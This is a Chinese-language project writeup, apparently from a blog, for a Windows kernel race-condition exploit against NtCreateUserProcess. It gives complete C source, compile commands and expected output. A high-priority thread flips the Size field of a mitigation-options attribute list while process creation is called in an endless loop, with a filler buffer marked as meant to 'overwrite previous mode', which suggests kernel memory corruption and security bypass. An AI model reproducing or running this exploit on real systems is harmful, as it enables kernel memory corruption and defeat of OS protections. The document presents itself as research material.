Windows内核竞争条件利用工具:动态篡改进程线程属性

2 阅读3分钟

Windows内核竞争条件利用工具

本项目展示了一个在Windows操作系统环境下,利用内核API NtCreateUserProcessNtCreateThreadEx 的竞争条件漏洞的演示程序。通过在多线程环境下动态篡改进程或线程创建时的属性列表,绕过或修改安全缓解措施,用于研究内核安全性与多线程同步问题。

功能特性

  • 内核API直接调用:通过 NtCreateUserProcessNtCreateThreadEx 原生系统调用创建进程和线程
  • 动态属性篡改:利用独立线程持续修改 PS_ATTRIBUTE_LIST 中的 Size 字段,制造竞争条件
  • 安全缓解选项覆盖:针对 Attribute = 0x2001b(缓解选项)进行内存破坏,改变进程/线程的安全策略
  • 高优先级抢占:竞争线程设置为 THREAD_PRIORITY_TIME_CRITICAL,提高数据竞争成功率
  • 无限循环攻击:持续尝试创建进程,最大化竞争窗口命中概率

安装指南

系统要求

  • Windows 操作系统(支持 NTAPI 调用,如 Windows 7 ~ Windows 11)
  • Visual Studio 或 MinGW 工具链
  • 管理员权限(部分内核调用需要)

编译步骤

  1. 克隆或保存源码文件为 race_condition.c
  2. 使用 Visual Studio 开发者命令提示符或 MinGW 编译:
    # Visual Studio
    cl race_condition.c /Fe:race_condition.exe
    
    # MinGW
    gcc race_condition.c -o race_condition.exe -lntdll
    

依赖项

  • Windows.h:Windows API 头文件
  • ntdll.dll:提供 NtCreateUserProcessNtCreateThreadEx 系统调用
  • 无第三方库依赖

使用说明

基础运行

race_condition.exe

程序启动后将:

  1. 分配并构造一个伪造的 PS_ATTRIBUTE_LIST,指定属性 0x2001b(缓解选项)及其数据缓冲区
  2. 创建一个高优先级线程持续篡改 Size 字段(不断在 0 和 MAXUINT64 之间翻转)
  3. 无限循环调用 NtCreateUserProcess,尝试在属性大小被破坏的瞬间创建进程

典型输出(调试器下)

[+] Attributes list prepared at 0x...
[+] Racing thread started
[+] Attempting to create processes...
[!] NtCreateUserProcess may fail or succeed unpredictably

预期效果

  • 由于 Size 字段被动态篡改,内核在读取属性列表时可能读取到无效大小,导致:
    • 进程创建失败(STATUS_INVALID_PARAMETER 等)
    • 读取越界内存
    • 成功创建但缓解选项配置异常(安全绕过)
  • 程序不会正常退出,需手动终止(Ctrl+C)

核心代码

1. 内核属性结构定义

typedef struct _PS_ATTRIBUTE
{
    ULONG_PTR Attribute;
    SIZE_T Size;
    union
    {
        ULONG_PTR Value;
        PVOID ValuePtr;
    };
    PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _PS_ATTRIBUTE_LIST
{
    SIZE_T TotalLength;
    PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

定义 Windows 进程/线程创建时使用的扩展属性结构,用于传递安全缓解选项等高级配置。

2. 竞争线程函数

DWORD smash_func(LPVOID unused)
{
    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);

    while (1) {
        *size_ptr ^= MAXUINT64; // constantly flip attrs.Attributes[0].Size
    }

    return 0;
}

高优先级线程,持续对全局属性列表中的 Size 字段进行异或翻转操作,制造数据竞争。

3. 主控制逻辑

int main(int argc, char** argv)
{   
    BYTE smash_buf[0x8000];
    memset(smash_buf, 'A', sizeof(smash_buf));
    memset(smash_buf, 0, 0x18);
    smash_buf[0x80] = 0; // overwrite previous mode

    // set up the global attributes
    attrs = malloc(sizeof(PS_ATTRIBUTE_LIST) + sizeof(PS_ATTRIBUTE));
    memset(attrs, 0, sizeof(PS_ATTRIBUTE_LIST) + sizeof(PS_ATTRIBUTE));
    attrs->TotalLength = sizeof(PS_ATTRIBUTE_LIST) + sizeof(PS_ATTRIBUTE);
    attrs->Attributes[0].Attribute = 0x2001b; // mitigation options
    attrs->Attributes[0].Size = 0x18;
    attrs->Attributes[0].ValuePtr = smash_buf;

    size_ptr = &attrs->Attributes[0].Size;

    CreateThread(NULL, 0, smash_func, NULL, 0, NULL);

    HANDLE thread_handle = 0;
    HANDLE process_handle = 0;

    while (1)
    {
        NtCreateUserProcess(&process_handle, &thread_handle, 0, 0, 0, 0, 0, 0, 0, 0, attrs);
    }

    return 0;
}

主函数中初始化伪造的属性列表(包含长度 0x18 的安全缓解选项数据),启动竞争线程,然后无限循环调用 NtCreateUserProcess 试图利用竞争条件影响进程创建行为。 6HFtX5dABrKlqXeO5PUv/0vr6tVaCw8GJ2fNqEOWigM=